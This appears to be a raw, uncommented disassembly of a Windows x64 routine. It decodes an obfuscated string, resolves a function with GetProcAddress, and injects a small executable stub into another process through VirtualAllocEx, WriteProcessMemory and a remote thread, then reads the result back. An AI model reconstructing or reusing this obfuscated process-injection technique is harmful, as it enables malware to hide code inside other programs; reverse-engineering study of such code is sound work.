sub r11b, 0x4f
add r11b, dl
jmp 0x1401c719a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c6fb7
lea ecx, [rdi - 0x6b]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x13
inc rdi
jmp 0x1401c6872
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401c6fd9
lea ecx, [rdi + 0x3f]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x47
jmp 0x1401c7218
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401c6cef
lea edx, [rdi - 0x33]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 0x65
add r11b, dl
jmp 0x1401c724f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c7033
lea ecx, [rdi + 0x4c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x14
inc rdi
jmp 0x1401c6872
inc rax
cmp r8, rax
jne 0x1401c7059
lea edx, [rdi - 0x26]
mov ecx, 5
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c7273
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c7080
lea edx, [rdi + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c724f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401c70ab
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x12]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x7e
add r11b, dl
jmp 0x1401c71fa
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401c6cae
lea ecx, [rdi - 0x60]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
inc rdi
jmp 0x1401c6872
movzx ecx, byte [rbp + rdi - 0x60]
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x28]
and al, dl
sub cl, al
add cl, 0xc
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1401c71fa
lea edx, [rdi + 0x66]
mov ecx, 0x1b
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1401c724f
lea ecx, [rdi - 0x4b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xd
jmp 0x1401c724f
lea ecx, [rdi + 0x27]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x11
jmp 0x1401c7218
lea ecx, [rdi + 0x7d]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6b
inc rdi
jmp 0x1401c6872
movzx r10d, dil
lea ecx, [r10 + 0x61]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x59
jmp 0x1401c719a
movzx r10d, dil
lea ecx, [r10 + 0x45]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1d
movzx eax, bl
sub r10b, 0x6f
and al, r10b
inc r9
add al, al
sub bl, al
add bl, 9
add bl, r10b
mov byte [rbp + rdi - 0x60], bl
dec rdi
inc rdi
jmp 0x1401c6872
lea ecx, [rdi - 0x49]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
dec r11b
inc r9
dec rdi
inc rdi
jmp 0x1401c6872
movzx r10d, dil
lea ecx, [r10 - 0x65]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3d
movzx eax, bl
add r10b, 0x1f
and al, r10b
add al, al
sub bl, al
add bl, 0x27
add bl, r10b
add bl, r11b
mov byte [rbp + rdi - 0x60], bl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1401c6872
movzx ebx, dl
movabs rax, 0xf4013f2a066190f1
add rax, rdi
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
add r11b, 0x69
lea edx, [rdi - 0x53]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x45
add cl, dl
movzx eax, cl
mov byte [rbp + rdi - 0x60], al
add rax, r9
sub rdi, rax
lea edx, [rdi - 0xc]
movzx eax, bl
and al, dl
inc r8
mov ecx, 0x2a
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi - 0x60], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401c6872
movzx eax, dl
movabs rcx, 0x1f6e3fa44be0abd5
add rcx, rdi
and al, cl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
add r11b, 0x2d
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401c6872
sub dil, 0x1d
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x35
jmp 0x1401c6866
add dil, 0x55
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x53
jmp 0x1401c685b
lea rdx, [rbp + 0x1667b54]
jmp 0x1401c732c
lea rdx, [rbp + 0x86b49b]
jmp 0x1401c732c
lea rdx, [rbp - 0x60]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x1401c7351
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r12], eax
mov eax, 0x10100001
jmp 0x1401c752f
xor esi, esi
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov qword [rbp - 0x19], rsi
mov r9d, 0x3000
mov r8d, 0x100
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x1401c7392
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r12], eax
mov eax, 0x10100002
jmp 0x1401c752f
mov rax, qword [rbp + 0x6f]
lea r8, [rbp - 0x11]
mov qword [rbp - 0x11], rax
mov r9d, gethostbyaddr
mov rax, qword [rbp + 0x67]
mov rdx, rdi
mov rcx, r13
mov qword [rbp - 9], rax
mov dword [rbp - 1], 0x48c18b48
mov dword [rbp + 3], 0x8348088b
mov dword [rbp + 7], 0x50ff28ec
mov dword [rbp + 0xb], 0xc4834808
mov dword [rbp + 0xf], 0xd8d4828
mov dword [rbp + 0x13], 0xffffffd8
mov dword [rbp + 0x17], 0x48018948
mov word [rbp + 0x1b], 0xc031
mov byte [rbp + 0x1d], 0xc3
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1401c7425
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov dword [r12], eax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 0x10100003
jmp 0x1401c752f
mov qword [rsp + 0x50], rsi
lea rax, [rdi + 0x10]
mov qword [rsp + 0x48], rsi
lea rcx, [rbp - 0x19]
mov qword [rsp + 0x40], rsi
mov r9, r13
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov dword [rsp + 0x30], esi
mov edx, 0x1fffff
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call rbx
test eax, eax
js 0x1401c7511
mov rcx, qword [rbp - 0x19]
test rcx, rcx
je 0x1401c7511
mov edx, 0x7530
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1401c74bc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp - 0x19]
xor edx, edx
mov dword [r12], eax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 0x10100009
jmp 0x1401c752f
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [rbp + 0x7f]
mov r9d, 8
mov rdx, rdi
mov qword [rsp + 0x20], rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test ebx, ebx
jne 0x1401c750d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r12], eax
mov eax, 0x10100008
jmp 0x1401c752f
xor eax, eax
jmp 0x1401c752f
mov r9d, 0x8000
mov dword [r12], eax
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 0x10100004
mov rbx, qword [rsp + 0x120]
add rsp, 0xe0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret